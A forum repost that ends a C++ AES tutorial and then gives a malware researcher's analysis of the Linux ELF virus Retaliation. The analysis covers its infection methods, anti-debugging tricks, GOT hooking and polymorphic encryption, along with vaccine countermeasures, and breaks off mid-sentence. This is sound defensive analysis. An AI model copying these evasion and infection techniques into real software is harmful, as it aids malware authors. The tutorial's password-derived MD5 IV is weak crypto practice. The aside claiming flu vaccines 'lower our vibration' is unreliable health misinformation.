reinterpret_cast<unsigned char*>(&message[0]), message.size() ); iv_encrypt = std::string(reinterpret_cast< char*>(digest),16); encrypt->SetKeyWithIV(reinterpret_cast<unsigned char*>(&pw[0]),pw.size(),digest); encrypt->ProcessData(reinterpret_cast<unsigned char*>(&text[0]),reinterpret_cast<unsigned char*>(&text[0]),text.size()); } catch(CryptoPP::Exception& e) { error = e.what(); return false; } return true; I construct the encrypt object once, then the InitializationVector(iv) of the AES Algorithm needs to be constructed. It has the size of the AES Block: 16 bytes. As I don't share this with the decoding at any point, it needs to depend on the password too. Otherwise, it would be wise not to this. I've chosen to go with the MD5 checksum, as it gives me a fairly distributed 16 byte hash. The key and iv is then set with the SetKeyWithIV method, before the actual encryption happens in process data. All buffers handled here are unsigned char, so that the content of the std::string needs to be casted via reinterpret_cast. This is only safe from C++11 on, as it guarantees std::string to be an array. Also crypto++ does throw exception, as this class will be used with Qt, I decided to catch the exceptions, and return the state of success from the function. The decode method is nearly the same, except that it needs to construct a Decryption object: if(!decrypt) decrypt.reset(new CryptoPP::CFB_Mode< CryptoPP::AES >::Decryption); And this is already the whole example on how to use AES in C++, most work is done by crypto++. Sursa: Using AES encryption in C++ - Meeting C++
  13. An unofficial analysis of the Retaliation Virus (Authored by JPanic) Ryan O'Neill November 2014 [TABLE] [TR] [TH]Virus name:[/TH] [TD]Retaliation[/TD] [/TR] [TR] [TH]Author:[/TH] [TD]JPanic[/TD] [/TR] [TR] [TH]Architecture/platform:[/TH] [TD]Linux x86_64[/TD] [/TR] [TR] [TH]Binary format:[/TH] [TD]ET_EXEC, ET_REL[/TD] [/TR] [TR] [TH]Style:[/TH] [TD]Polymorphic and binary file resident [/TD] [/TR] [/TABLE] Creating goat files What files does the Virus target? ELF Infection methods ELF Infection methods - Executables ELF Infection methods: "prelink" executables ELF Infection methods: Relocatables [*]Direct ActionInfection [*]AVaccine for preventing infection [*]Stripped ELF Binaries [*]Encrypted blocks of code [*]Encrypted .data section [*]Signal Handlers [*]Anti-ptrace/debug techniques used by the Virus ptrace detection SIGTRAP detection SIGTRAP handler and breakpoint calls SIGTRAP handler treats 0xf1 breakpoint (ICEBP) as syscall instruction Breakpoint detection [*]PLT/GOT function hooking [*]Random Decoding Algorithm (RDA) [*]Activation Routine [*]Polymorphic Engine [*]Final Words I recently had the opportunity to do some analysis of a new ELF virus authored by JPanic. After spending some time looking at it, I was impressed and quite to my surprise. This is perhaps the most well thought out and dangerously effective ELF binary virus that I have seen yet. I would like to discuss some of the findings associated with analysis, and thus produce a profile on the Virus named 'Retaliation' Retaliation is an unusually large virus at 25,584 bytes of which 14,938 bytes are dedicated to the viruses complex polymorphic engine. The load size in memory is 34,492 bytes plus an additional 8 to 16 megabytes of dynamically allocated memory. In all 3 infection methods ELF64 files are used: an appending method for executables, an 'inserting' method for relocatables and a hybrid method for executables processed with the 'prelink' utility. The virus makes many attempts to hamper analysis, detection and disinfection. This includes a great deal of anti-debugger, anti-analysis, and anti-emulator code. A distinct feature of the virus is that it is split up into 275 individual, re-entrant polymorphic encrypted blocks. A total of 18,183 bytes of code (71% of the virus) are contained in these blocks. Other techniques used include advanced polymorphy, EPO (entry-point obscuring), encryption and patching of the host file, goat file detection and the classic RDA - Random Decoding Algorithm used to protect disinfection data. ELF samples: Name: jp-retal-e Type: ET_EXEC Name: jp-retal-o.o Type: ET_REL Creating goat files The retaliation virus does a good job at preventing Goat files; that is files that you want to intentionally infect to aid you in reverse engineering the properties of the virus. I'm not certain of the exact time values but the Virus requires that the system has an uptime of around 20 minutes and was installed atleast 3 months ago. It also requires that the binaries are of atleast a certain age (I set them back by to the beginning of the year). This last test of file age is omitted in the case of relocatable files. Copy the following script into a directory of ELF binaries and run it. Then copy the Virus sample into the directory and run it. The files should get infected, assuming the system has been up for around 20 minutes. --- create goats --- #!/bin/bash sudo touch -d 01/01/2014 /etc/hostname find . -name '*' -exec touch -d 01/01/2014 {} \; The Virus doesn't seem to infect files with periods in the name, or files that have sequences such as file-01, file-02, file-03. When I created 3 or more files like this, none of them were infected. But as soon as I deleted the third one, the first two were infected. Similarly the same test is applied to the size of files to be infected, in an effort to avoid files with sequential or static file sizes. A final additional test is avoiding files with the same .text section. If four files in a row are infected with the same .text body (going by CRC32b) the virus shuts down and stops infecting. What files does the Virus target? I had to use VM snapshots to find out exactly what files it attacks. It seems to look to infect in /bin and /usr/bin (If it has permissions) and then it goes for $CWD. When a program is infected, it transfers control to the virus, the virus performs infection and passes control back to the original entry point when done. More information in 'direct action infection' below. ELF Infection methods Retaliation uses 3 separate infection routines, depending on the type of file being infected. Infected file types are ELF64 executables, ELF64 executables that have been processed with the "prelink" tool, and ELF64 relocatables. During infection a temporary copy of the victim is used. If infection is succesful the victim is replaced with the temporary copy. The virus overwrites the victim with the temporary copy in this case, instead of unlink'ing and renaming. This stops certain tools such as 'cp' from reporting that the first inode of the file has changed during execution. The virus attempts to preserve file modes and timestamps. The virus takes some care in its choice of victims. The virus does not infect files larger than 8mb, executables smaller than 8kb or relocatables smaller than 2kb. It does not infected executables less than 180 minutes old. File names with a period (".") or extension are skipped, unless the extension is "*.o". In addition the virus makes several checks for "goat" files as discussed above. ELF Infection methods - Executables Infection of ELF64 executables is quite straight forward. First the virus inspects the ELF Header for 64-bit, little endian, AMD-64 executables. The virus also checks that the first four bytes of EI_PAD are zero's - this is where the virus stores its infection marker. The virus also does not infect executables containing the string "TSM!" in their .data section. This stops the virus from infecting executables that have had an infected relocatable linked into them - see section of infection of relocatables further in this profile. Infection after this is quite straight forward. The virus loops inspecting the ELF64 Phdr's, checking them for validity, saving the offset of the PT_NOTE entry, and storing the maximum alignment andmaximum virtual address used by any PT_LOAD segment. If all is good, the virus appends itself to the host, and converts the PT_NOTE entry to a PT_LOAD containing the appended virus body The PT_LOAD segment varies considerably in size, but is always +RWE and has an alignment and virtual address taken from the other PT_LOAD segments in the host (see "readelf" output below). The virus modifies the entry point (e_entry) to gain control when the host is executed. The virus then patches cetain instructions in .text and encrypts .data - see below for more information on this. Finally the virus parses .dynamic, .rela.dyn and .plt to install 13 .got.plt hooks - see section on .got.plt hooks below. The virus may have upto 4 layers of polymorphic encryption in infected executables. Modifies entry point ehdr->e_entry ryan@reverse:~/retal/samples$ readelf -h infected.elf ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 54 53 4d 21 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x80f56f # Points to virus code Start of program headers: 64 (bytes into file) Start of section headers: 8536 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 30 Section header string table index: 27 Converts PT_NOTE program header type to PT_LOAD Elf file type is EXEC (Executable file) Entry point 0x80f56f There are 9 program headers, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040 0x00000000000001f8 0x00000000000001f8 R E 8 INTERP 0x0000000000000238 0x0000000000400238 0x0000000000400238 0x000000000000001c 0x000000000000001c R 1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x0000000000001244 0x0000000000001244 R E 200000 LOAD 0x0000000000001e28 0x0000000000601e28 0x0000000000601e28 0x0000000000000208 0x0000000000000218 RW 200000 DYNAMIC 0x0000000000001e50 0x0000000000601e50 0x0000000000601e50 0x0000000000000190 0x0000000000000190 RW 8 LOAD 0x0000000000003129 0x0000000000803129 0x0000000000803129 # This PT_LOAD segment contains virus code 0x000000000000d9a3 0x000000000000f4b3 RWE 200000 # Notice RWE (rwx) for polymorphic code GNU_EH_FRAME 0x0000000000001170 0x0000000000401170 0x0000000000401170 0x000000000000002c 0x000000000000002c R 4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 8 GNU_RELRO 0x0000000000001e28 0x0000000000601e28 0x0000000000601e28 0x00000000000001d8 0x00000000000001d8 R 1 List of 32-bit values used to mark E_PAD as infected '[jp]' '[JP]' 'JKP!' 'NOP!' 'IR/G' '7DFB' 'Sep!' 'TSM!' ELF Infection methods: "prelink" executables When infecting ELF64 executables processed by the "prelink" utility the virus takes special action. This is because these files contain "undo" information and "prelink -u" (undo) will emit an error message if the file has been modified. The virus still does everything above in infection of executables. That is... appending the virus, converting PT_NOTE to PT_LOAD, hooking e_entry, installing .got.plt hooks, patching .text and encrypting .data. But now the virus must do more. First the virus checks for the presence of section ".gnu.prelink_undo". This tells the virus that the host is a "prelink" executable and gives the location of the "undo" information. Sinces "prelink" works on the host with sections (Elf64 Shdr's) not segments (Elf64 Phdr's), a new section must be created containing the appended virus body and with the same corresponding values as the new PT_LOAD segment. To do this the virus reads in the entire executable as an array of headers and sections. The new virus section has no name, and is "inserted" as 3rd to last - just before .gnu.prelink_undo and e_shstrndx. Finally the virus modifies all headers held in .gnu.prelink_undo to correspond to new 'infected' values and writes the newly infected host section by section. Now "prelink -u" can be called succesfuly on the victim with no error message or corruption of the victim. Incidently, doing this produces a new type of infection - infected "prelink" executables that have had all prelink information removed. [(prelinked executable before infection) readelf -S host] Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002b8 000002b8 0000000000000060 0000000000000018 A 18 1 8 [ 6] .gnu.liblist GNU_LIBLIST 0000000000400318 00000318 0000000000000028 0000000000000014 A 18 0 4 [ 7] .gnu.version VERSYM 0000000000400356 00000356 0000000000000008 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400360 00000360 0000000000000020 0000000000000000 A 18 1 8 [ 9] .rela.dyn RELA 0000000000400380 00000380 0000000000000018 0000000000000018 A 5 0 8 [10] .rela.plt RELA 0000000000400398 00000398 0000000000000048 0000000000000018 A 5 12 8 [11] .init PROGBITS 00000000004003e0 000003e0 000000000000001a 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 0000000000400400 00000400 0000000000000040 0000000000000010 AX 0 0 16 [13] .text PROGBITS 0000000000400440 00000440 0000000000000172 0000000000000000 AX 0 0 16 [14] .fini PROGBITS 00000000004005b4 000005b4 0000000000000009 0000000000000000 AX 0 0 4 [15] .rodata PROGBITS 00000000004005c0 000005c0 0000000000000010 0000000000000000 A 0 0 4 [16] .eh_frame_hdr PROGBITS 00000000004005d0 000005d0 0000000000000034 0000000000000000 A 0 0 4 [17] .eh_frame PROGBITS 0000000000400608 00000608 00000000000000f4 0000000000000000 A 0 0 8 [18] .dynstr STRTAB 00000000004006fc 000006fc 0000000000000059 0000000000000000 A 0 0 1 [19] .gnu.conflict RELA 0000000000400758 00000758 0000000000000210 0000000000000018 A 5 0 8 [20] .init_array INIT_ARRAY 0000000000600e10 00000e10 0000000000000008 0000000000000000 WA 0 0 8 [21] .fini_array FINI_ARRAY 0000000000600e18 00000e18 0000000000000008 0000000000000000 WA 0 0 8 [22] .jcr PROGBITS 0000000000600e20 00000e20 0000000000000008 0000000000000000 WA 0 0 8 [23] .dynamic DYNAMIC 0000000000600e28 00000e28 00000000000001d0 0000000000000010 WA 18 0 8 [24] .got PROGBITS 0000000000600ff8 00000ff8 0000000000000008 0000000000000008 WA 0 0 8 [25] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8 [26] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 [27] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1 [28] .comment PROGBITS 0000000000000000 00001040 0000000000000024 0000000000000001 MS 0 0 1 [29] .gnu.prelink_undo PROGBITS 0000000000000000 00001068 0000000000000978 0000000000000001 0 0 8 [30] .shstrtab STRTAB 0000000000000000 000019e0 0000000000000135 0000000000000000 0 0 1 [31] .symtab SYMTAB 0000000000000000 00002358 0000000000000618 0000000000000018 32 45 8 [32] .strtab STRTAB 0000000000000000 00002970 0000000000000236 0000000000000000 0 0 1 [(prelinked executable after infection) readelf -S host] Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000400238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000400254 00000254 0000000000000020 0000000000000000 A 0 0 4 [ 3] .note.gnu.build-i NOTE 0000000000400274 00000274 0000000000000024 0000000000000000 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000400298 00000298 000000000000001c 0000000000000000 A 5 0 8 [ 5] .dynsym DYNSYM 00000000004002b8 000002b8 0000000000000060 0000000000000018 A 18 1 8 [ 6] .gnu.liblist GNU_LIBLIST 0000000000400318 00000318 0000000000000028 0000000000000014 A 18 0 4 [ 7] .gnu.version VERSYM 0000000000400356 00000356 0000000000000008 0000000000000002 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000400360 00000360 0000000000000020 0000000000000000 A 18 1 8 [ 9] .rela.dyn RELA 0000000000400380 00000380 0000000000000018 0000000000000018 A 5 0 8 [10] .rela.plt RELA 0000000000400398 00000398 0000000000000048 0000000000000018 A 5 12 8 [11] .init PROGBITS 00000000004003e0 000003e0 000000000000001a 0000000000000000 AX 0 0 4 [12] .plt PROGBITS 0000000000400400 00000400 0000000000000040 0000000000000010 AX 0 0 16 [13] .text PROGBITS 0000000000400440 00000440 0000000000000172 0000000000000000 AX 0 0 16 [14] .fini PROGBITS 00000000004005b4 000005b4 0000000000000009 0000000000000000 AX 0 0 4 [15] .rodata PROGBITS 00000000004005c0 000005c0 0000000000000010 0000000000000000 A 0 0 4 [16] .eh_frame_hdr PROGBITS 00000000004005d0 000005d0 0000000000000034 0000000000000000 A 0 0 4 [17] .eh_frame PROGBITS 0000000000400608 00000608 00000000000000f4 0000000000000000 A 0 0 8 [18] .dynstr STRTAB 00000000004006fc 000006fc 0000000000000059 0000000000000000 A 0 0 1 [19] .gnu.conflict RELA 0000000000400758 00000758 0000000000000210 0000000000000018 A 5 0 8 [20] .init_array INIT_ARRAY 0000000000600e10 00000e10 0000000000000008 0000000000000000 WA 0 0 8 [21] .fini_array FINI_ARRAY 0000000000600e18 00000e18 0000000000000008 0000000000000000 WA 0 0 8 [22] .jcr PROGBITS 0000000000600e20 00000e20 0000000000000008 0000000000000000 WA 0 0 8 [23] .dynamic DYNAMIC 0000000000600e28 00000e28 00000000000001d0 0000000000000010 WA 18 0 8 [24] .got PROGBITS 0000000000600ff8 00000ff8 0000000000000008 0000000000000008 WA 0 0 8 [25] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8 [26] .data PROGBITS 0000000000601030 00001030 0000000000000010 0000000000000000 WA 0 0 8 [27] .bss NOBITS 0000000000601040 00001040 0000000000000008 0000000000000000 WA 0 0 1 [28] .comment PROGBITS 0000000000000000 00001040 0000000000000024 0000000000000001 MS 0 0 1 [29] PROGBITS 0000000000802ba6 00002ba6 // notice empty shdr to account for 3rd PT_LOAD 000000000000b1cf 0000000000000000 WAX 0 0 1 [30] .gnu.prelink_undo PROGBITS 0000000000000000 0000dd78 00000000000009b8 0000000000000001 0 0 8 [31] .shstrtab STRTAB 0000000000000000 0000e730 0000000000000135 0000000000000000 0 0 1 [32] .strtab STRTAB 0000000000000000 00002970 0000000000000236 0000000000000000 0 0 1 [33] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 As shown in the readelf output, the infected executable has an extra section that accounts for the 3rd PT_LOAD segment where the virus is stored. This helps prevent the Virus from being deleted in the event of a prelink -u (undo). Empty section names of type SHT_PROGBITS look suspicious of course, but so do many other things if you know what to look for. ELF Infection methods: Relocatables Retaliation will also infect ELF64 relocatables. The idea being that the infected 'object' file will be later linked into an executable, giving the virus an opportunity to run. When infecting relocatables, the same checks on the Elf64 header as with executables are performed. An additional infection marker - "TSM!" is inserted at the end of the relocatables .data section. This stops the virus from later performing 'executable' infection on executables that have been created with an infected relocatable. To infect relocatables the entire object is read in header-by-header, section-by-section. The polymorphic decryptor code is inserted at the end of .text. The encrypted virus body is inserted at the end of .data. The virus also inserts a zero-initialized variable into .bss, to stop the virus being called more than once. To gain control, a random symbol of type "STB_GLOBAL, STT_FUNC" is 'hooked'. When this hooked function is called, the polymorphic decryptor in .text saves the register then checks if the variable in .bss is zero. If so, the decryptor sets that variable to a non-zero values, allocates some memory +RWE using the sys_mmap2 syscall and decrypts the virus body from .data to this newly allocated memory, executes the virus, restores the registers and returns to the original function that the hooked symbol pointed too. This kind of infection can be difficult to detect as there is no obvious entry-point or location of the virus in executables that have been linked from infected relocatables. An executable could be linked from more than one infected relocatables, resulting in multiple infections in a single file. ET_REL infection in this sense is very cool... and I applaud the author of this Virus -- very nice work. Lets take a look at what a relocatable object looks like before and after infection: Original ryan@reverse:~/retal$ ls -lh test.o -rw-rw-r-- 1 ryan ryan 2.4K Nov 11 11:12 test.o Infected has grown by ~25k ryan@reverse:~/retal$ ls -lh test_infected.o -rw-rw-r-- 1 ryan ryan 28K Jan 1 2014 test.o test.o original functions f1 and f2 from my test.o file. 0000000000000000 <f1>: 0: 55 push %rbp 1: 48 89 e5 mov %rsp,%rbp 4: cc int3 5: 5d pop %rbp 6: c3 retq 0000000000000007 <f2>: 7: 55 push %rbp 8: 48 89 e5 mov %rsp,%rbp b: 48 83 ec 10 sub $0x10,%rsp f: 89 7d fc mov %edi,-0x4(%rbp) 12: bf 00 00 00 00 mov $0x0,%edi 17: e8 00 00 00 00 callq 1c <f2+0x15> 1c: c9 leaveq 1d: c3 Notice that there is symbol f1, but no symbol f2 now. The code for f2 is still there (starting at offset 0x7) but no f2 symbol. 0000000000000000 <f1>: 0: 55 push %rbp 1: 48 89 e5 mov %rsp,%rbp 4: cc int3 5: 5d pop %rbp 6: c3 retq 7: 55 push %rbp 8: 48 89 e5 mov %rsp,%rbp b: 48 83 ec 10 sub $0x10,%rsp f: 89 7d fc mov %edi,-0x4(%rbp) 12: bf 00 00 00 00 mov $0x0,%edi 17: e8 00 00 00 00 callq 1c <f1+0x1c> 1c: c9 leaveq 1d: c3 This is because the virus randomly hijacks a symbol of type STT_FUNC and modifies it to point at the Virus entry. Any calls to the original function will be patched/relocated at link time to point to the virus code. The symbol f2 has moved from offset 0x7 to offset 0xe3 test.o ryan@reverse:~/retal$ readelf -s test.o | grep f2 10: 0000000000000007 23 FUNC GLOBAL DEFAULT 1 f2 ryan@reverse:~/retal$ test_infected.o ryan@reverse:~/retal$ readelf -s test_infected.o | grep f2 10: 00000000000000e3 23 FUNC GLOBAL DEFAULT 1 f2 ryan@reverse:~/retal$ If we look at the relocation entries in test.o and grep for f2 ryan@reverse:~/retal$ readelf -r test.o | grep f2 0000000000d0 000900000002 R_X86_64_PC32 00000000000000d6 f2 - 4 What's at the address 0xd0 (the instruction actually begins at 0xcf) cf: e8 00 00 00 00 callq d4 <main+0xbd> This is a call with a relocation unit that will be patched at link time so that it points to the virus code. Direct ActionInfection Aside from using per-process residence (see PLT/GOT function hooking below), the virus also uses directaction infection per-run. During direct action infection the virus sets a timeout value of ~6 seconds and exits infection when this condition is met. To begin direct action infection the virus attacks the following files with 50% chance of attempting to infect each: /bin/cp /usr/bin/ld /bin/ls /usr/bin/gcc /usr/bin/ld.bfd /usr/bin/ld.gold /usr/bin/zip Next the virus attempts to infect all of the files in the current working directory ("."). Finally the virus attempts to infect all files in the following directories with 50% chance of attempting either: /usr/bin /bin AVaccine for preventing infection It would be most advised to prevent catching this virus at all if possible. It is extremely complicated and goes to great lengths to make disinfection very difficult. Currently the Virus checks to see if a file is already infected if it is not, then it won't infect it. This is very much like the type of Flu Vaccines that our government and society push us to get (To lower our vibration), but I can assure you that this Vaccine doesn't contain Mercury. Also very much like a real vaccine, this is only likely to protect a system from this strain only. Once the Virus author catches wind, I'm sure a slight variation could be easily launched into the wild that would bypass this Vaccine. Lets take a look at the ELF file header readelf -h test.infected ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 53 65 70 21 00 00 00 Notice that elfhdr->e_ident[EI_PAD] doesn't contain the usual 0's, but instead has a magic number 0x21706553 "Sep!". The 8 possible 32bit values that this can be are meant to mark a file as infected (These 8 values are listed above in section 'ELF Infection methods: executables'), but I think there may be a bug because filling e_ident[EI_PAD] with 0xDEADCODE seems to effectively mark an executable as already being infected, since the virus will not touch it after that. The Virus may or may not check specifically for the 8 different 32bit values found in goat files, but either way it is safe to say that the value 0xDEADCODE or any one of the 8 different 32bit values could be used to mark a file as infected. This means that the Vaccine solution is to inject one of these 32bit values into every binary on your system. Specifically in elfhdr->e_ident[EI_PAD] which is where the virus looks to determine infection. This will prevent any files with the vaccine from being infected. Get Reliation Vaccine here (Compiles on Linux x86_64) http://www.bitlackeys.org/retaliation/vaccine.c The vaccine works on individual files and will only modify a file if it is ELF. to make the entire /bin directory immune you could use the vaccine program with a command like this for file in /bin/*; do ./vaccine "$file" --silent; done Furthermore, infection may be prevented by stripping the section header table off of your ELF binaries. See the next section... Stripped ELF Binaries It has been observed that the retaliation Virus relies heavily on ELF section headers during the infection phase, which is partially what constitutes many of its sophisticated characterisics, such as encrypting the .data section and scanning the .text section for various opcodes. Since the virus relies on section headers for parts of the infection phase it will bail out if no section headers are found, and not follow through with the infection. This was observed by stripping the section headers of a goat file using 'stripx.c' (http://www.bitlackeys.org/projects/stripx.c) and running an infected executable in the same directory. The goat file was not infected. This of course means that another vaccination approach would be to run stripx against all files in /bin and /usr/bin. Executables do not need section headers in order to run, because the kernel and dynamic linker only uses the program headers. Nevertheless you should consider the consequences of doing this because any potential debugging you may want to do on your binaries in the future will be more difficult without section headers. In either case, it is highly unlikely that you will ever be infected with this Virus, and all of this talk on Vaccines are merely for research entertainment. Encrypted blocks of code The Virus is divided into many indepently encrypted, re-entrant blocks of code. In all there are 275 of these blocks, containing 71% of the virus code. The virus does not save the simple encryption key, but a random number genrator seed to be passed to a simple polymorphic engine for decryption and encryption. Note that this 'simple' polymorphic engine is seperate from the main polymorphic engine used to encrypt the entire virus in infected files. The format for an encrypted block of code is as follows: CALL to decrypt function (or invalid opcode 0x27 - see below). 8-bit entry count for recursive calls. 32-bit seed used to generate decryptor/encrytor by simple polymorphic engine. 16-bit length of encrypted block. <CODE TO BE ENCRYPTED> CALL to encrypt function (or invalid opcode 0x2f). Encryption begins at part 5. above to the end of part 6. - this means that the final call to encrypt is encrypted too. The encryption generated from the 32-bit seed starting with a random key and consisting of any permutation of 10 of the following 32 two byte instructions (chosen using a 32-bit linear congruential random number generator): rol dl,1 rol dh,1 rol edx,1 rol dl,cl rol dh,cl rol edx,cl add dl,cl sub dl,cl xor dl,cl add dh,cl sub dh,cl xor dl,cl add edx,ecx sub edx,ecx xor edx,ecx bswap edx mov dl,dl add dl,dh sub dl,dh xor dl,dh not dl not dh not edx neg dl neg dh neg edx inc dl inc dh inc edx rol edx,cl add edx,ecx bswapedx Note that %ecx is the count and %edx is the key that is combined with the plain text in %eax. In addition to %ecx and %edx, a part of the viruses anti-debugging code is combine with they key in an attempt to stop patching. This table of 2-byte instructions is encrypted in the virus body. Encrypted .data section This can be analyzed in-depth but a quick objcopy of the .data section with an md5sum will demonstrate this. The encryption algorithm used for this task is BTEA-128. ryan@reverse:~/retal/tests$ objcopy --only-section=.data test1 data1 ryan@reverse:~/retal/tests$ objcopy --only-section=.data test1.infected data1.infected ryan@reverse:~/retal/tests$ md5sum data1 data1.infected 06be278d9bd5ab34ed6d2f919a04d717 data1 9aa5e5dc1f92a2038afa17fe59d24628 data1.infected ryan@reverse:~/retal/tests$ Signal Handlers The virus installs two signal handlers - SIGILL and SIGTRAP - which are both used for multiple purposes as described below. Additionally two glibc calls (Signal and Sigaction) are hooked to stop the host from replacing these handlers. If either handler fails two install, the virus will display the following message: Strange signals you have.. very strange And terminates the host with error code 42. (SIGILL handler nanomites) Modifies the .text section; certain instructions are patched with illegal opcodes The retaliation Virus is extremely clever, and complicated. It will actually patch certain instructions (Which I have documented as shown with objdump) with illegal opcodes. The virus sets up a signal handler for SIGILL, which catches the illegal opcodes and emulates the original instruction that was there. This makes disinfection extremely difficult since the disinfector would have to reliably restore the code in the .text with the original instruction. From what I can tell there are only 2 different instruction sequences that get replaced although there could be more that simply didn't manifest in my infected goat file samples Opcodes that get patched with illegal opcodes: push %rbp mov %rsp, %rbp This can be seen with objdump when comparing the original binary with the infected one From original binary 0000000000400583 : 400583: 55 push %rbp 400584: 48 89 e5 mov %rsp, %rbp From infected binary 0000000000400583 : 400583: 61 (bad) 400484: 17 (bad) The second four byte instruction sequence to be patched with an illegal opcode is: cmp %rax,-1 When patching the virus can generate nearly all of the possible one byte or two byte illegal opcodes in the x64 instruction set. The virus identifies which of the two sequence of instructions has been patched by folding the four bytes to a 16-bit value with an XOR to produce a checksum value. The two 16-bit values used to identify the patched sequences change randomly every time the virus is run. The SIGILL handler provides a second function. Several blocks of encrypted code make the call to decrypt them and re-encrypt them using illegal opcodes 0x27 and 0x2f respectively. Encrypted blocks of code that are used before the SIGILL handler is installed use 0xe8 (CALL imm32) instructions instead. In all there are 209 encrypted blocks using these illegal opcodes. If the illegal opcode does not appear to be generated by the virus (it is not in .text with the correct 16-bit checksum, or it is not 0x27 / 0x2f in the viruses body) the following message will be displayed: Illegal Instruction. But what really is 'Illegal'? Look at vxheavens.com.. kidz with ill skillz get harrassed by cops still. Anti-ptrace/debug techniques used by the Virus The Virus prevents ptrace based debugging using several techniques that I can see. I crafted several special programs that I infected to confirm this. ptrace detection One can see in the initial output of a strace (Before the virus realizes its being traced) that it uses prctl(PR_SET_PTRACER, getpid()) then forks a process which then attempts to do a ptrace(PTRACE_ATTACH, getppid()). The reason for the prctl() is to bypass protection set by /proc/sys/kernel/yama/ptrace_scope which would normally prevent a child from tracing its parent. If the ptrace call fails, then obviously the program is already being ptraced and the Virus either A. exits cleanly, or B. with 1/3 probability goes into a fit and randomly executes different syscalls with garbage args, infinitely. SIGTRAP detection I wrote a program that calls __asm__("int3") to confirm my suspicion. When infecting this program and running it. The virus signal handler catches the breakpoint SIGTRAP and prints the message with the Virus and Author name, followed by a cheeky statement "Break me, Break it, and break it again.". In other words... good luck setting breakpoint SIGTRAP handler and breakpoint calls The Virus code itself has numerous breakpoints within it, and handles them in a very special way When a SIGTRAP is delivered (That originates from the Virus) it is treated as a call instruction with a 16bit displacement. This technique (Sometimes called nanomites) helps to obfuscate control flow, and makes debugging even harder. The 16-bit displacement is XOR'd with 0xf242. SIGTRAP handler treats 0xf1 breakpoint (ICEBP) as syscall instruction The Virus code uses 0xf1 to represent a 'syscall al' instruction. This is another technique that obfuscates the ability to understand the virus code and when it is calling system calls since we won't see the traditional syscall calling conventions. The 8-bit system call number is XOR'd with 0x55 and rotated right 3 bits. In all the virus makes sub-routine calls using 0xcc 632 times and system calls using 0xf1 25 times. Breakpoint detection The Virus additionally includes a sub-routine which checks for a INT3 (0xcc) breakpoint at the callees return address to detect attempts to skip over a sub-routine in a debugger. This same routine additionally checks if callee has been patched or if the Trace Flag (TF in the eflags register) is enabled. If any of these conditions are met the virus overwrites itself in memory with garbage. A total of 65 procedures in the virus make use of this check. As a final defense, the code for this trace/breakpoint check is used as part of the key to decrypt the encrypted blocks in the virus to prevent patching. PLT/GOT function hooking In addition to the already myriad techniques I have discussed so far, the retaliation virus also implements runtime hooking of 13 different shared library functions. The Virus uses PLT/GOT poisoning. This means that hooks are implanted in the global offset table entries of certain shared library functions, and are used primarily as a means to hijack glibc VFS calls such as open/stat/fstat etc. in order to find more files to infect. Specifically the following functions are hijacked at runtime, and therefore will not show up in static analysis of the .got.plt section. open, fopen, fopen64, __xstat, __lxstat, __xstat64, __lxstat64, __openat2, open64, bfd_openr, execve, signal, sigaction The VFS functions are hijacked in order to infect a larger range of files, by capturing the filenames that are being passed into these functions. The signal functions (signal, and sigaction), I presume are to prevent the host from being able to replace the SIGILL and SIGTRAP handlers (which are discussed above). I made several attempts to try and prevent the signal handlers from being re-patched under the assumption that if relro (read-only relocations) is being used, then the GOT should be read-only after the dynamic linker is done with it. To be certain I set LD_BIND_NOW=1 prior to running an infected goat file that uses and triggers its own SIGTRAP/SIGILL sighandlers. I do not see that the Virus mprotect's the GOT anywhere. I'd like to say that this test is inconclusive, but the virus seems to win out, so perhaps I am missing something. Random Decoding Algorithm (RDA) The Virus attempts to further complicate disinfection by using the classic Random Decoding Algorithm. This algorithm works as follows: Encryption: The CRC32 checksum of the data to be encrypted is taken and stored at the end of this data. A random 15-bit key is chosen. The same simple polymorphic engine used to encrypt blocks of code is called to encrypt the data. Decryption: The key is set to zero. The polymorphic engine is called with the key and the virus attempts decryption of the data. If the CRC32 checksum matches the decrypted data the process is complete. Otherwise, the data is re-encrypted with the key. The key is incremented and the process is repeated from step 2. Eventually the corrected key is found. Threepieces of restoration data are encrypted with this algorithm as listed: 48-bits containg the hosts .data address and size for decryption. 128-bits containing the BTEA-128 key for decrypting .data. 32-bits containg the two 16-bit values used to identify patched instruction sequences in.text. Additionally each of the 93 entries in the table 